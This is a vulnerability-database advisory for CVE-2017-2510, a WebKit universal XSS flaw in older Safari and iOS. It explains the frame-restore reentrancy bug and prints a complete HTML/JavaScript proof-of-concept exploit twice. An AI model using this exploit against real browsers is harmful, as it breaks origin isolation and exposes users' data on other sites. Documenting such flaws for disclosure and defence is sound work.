Lucene search

K
seebugRootSSV:93148
HistoryMay 26, 2017 - 12:00 a.m.

WebKit enqueuePageshowEvent / enqueuePopstateEvent Universal XSS(CVE-2017-2510)

2017-05-2600:00:00
Root
www.seebug.org
8

0.009 Low

EPSS

Percentile

80.6%

An issue was discovered in certain Apple products. iOS before 10.3.2 is affected. Safari before 10.1.1 is affected. The issue involves the “WebKit” component. It allows remote attackers to conduct Universal XSS (UXSS) attacks via a crafted web site that improperly interacts with pageshow events.

Here is a snippet of CachedFrameBase::restore which is invoked when cached frames are restored.

void CachedFrameBase::restore()
{
    ...
    for (auto& childFrame : m_childFrames) {
        ASSERT(childFrame->view()->frame().page());
        frame.tree().appendChild(childFrame->view()->frame());
        childFrame->open(); <----- (a)
    }
    ...
    // FIXME: update Page Visibility state here.
    // https://bugs.webkit.org/show_bug.cgi?id=116770
    m_document->enqueuePageshowEvent(PageshowEventPersisted);

    HistoryItem* historyItem = frame.loader().history().currentItem();
    if (historyItem && historyItem->stateObject())
        m_document->enqueuePopstateEvent(historyItem->stateObject());

    frame.view()->didRestoreFromPageCache();
}

enqueuePageshowEvent and enqueuePopstateEvent are named “enqueue*”, but actually those dispatch window events that may fire JavaScript handlers synchronously.

At (a), |open| method may invoke |CachedFrameBase::restore| method again. Thus, the parent frame’s document may be replaced while |open| is called in the iteration, the next child frame is attached to the parent frame holding the replaced document.

PoC:

<html>
<body>
<script>

function createURL(data, type = 'text/html') {
    return URL.createObjectURL(new Blob([data], {type: type}));
}

function navigate(w, url) {
    let a = w.document.createElement('a');
    a.href = url;
    a.click();
}

function main() {
    let i0 = document.body.appendChild(document.createElement('iframe'));
    let i1 = document.body.appendChild(document.createElement('iframe'));

    i0.contentWindow.onpageshow = () => {
        navigate(window, 'https://abc.xyz/');

        showModalDialog(createURL(`
<script>
let it = setInterval(() => {
    try {
        opener.document.x;
    } catch (e) {
        clearInterval(it);
        window.close();
    }
}, 10);
</scrip` + 't>'));

    };

    i1.contentWindow.onpageshow = () => {
        i1.srcdoc = '<script>alert(parent.location);</scrip' + 't>';
        navigate(i1.contentWindow, 'about:srcdoc');
    };

    navigate(window, createURL(`<html><head></head><body>Click anywhere<script>
window.onclick = () => {
    window.onclick = null;

    history.back();
};

</scrip` + `t></body></html>`));
}

window.onload = () => {
    setTimeout(main, 0);
};

</script>
</body>
</html>

                                                <html>
<body>
<script>

function createURL(data, type = 'text/html') {
    return URL.createObjectURL(new Blob([data], {type: type}));
}

function navigate(w, url) {
    let a = w.document.createElement('a');
    a.href = url;
    a.click();
}

function main() {
    let i0 = document.body.appendChild(document.createElement('iframe'));
    let i1 = document.body.appendChild(document.createElement('iframe'));

    i0.contentWindow.onpageshow = () => {
        navigate(window, 'https://abc.xyz/');

        showModalDialog(createURL(`
<script>
let it = setInterval(() => {
    try {
        opener.document.x;
    } catch (e) {
        clearInterval(it);
        window.close();
    }
}, 10);
</scrip` + 't>'));

    };

    i1.contentWindow.onpageshow = () => {
        i1.srcdoc = '<script>alert(parent.location);</scrip' + 't>';
        navigate(i1.contentWindow, 'about:srcdoc');
    };

    navigate(window, createURL(`<html><head></head><body>Click anywhere<script>
window.onclick = () => {
    window.onclick = null;

    history.back();
};

</scrip` + `t></body></html>`));
}

window.onload = () => {
    setTimeout(main, 0);
};

</script>
</body>
</html>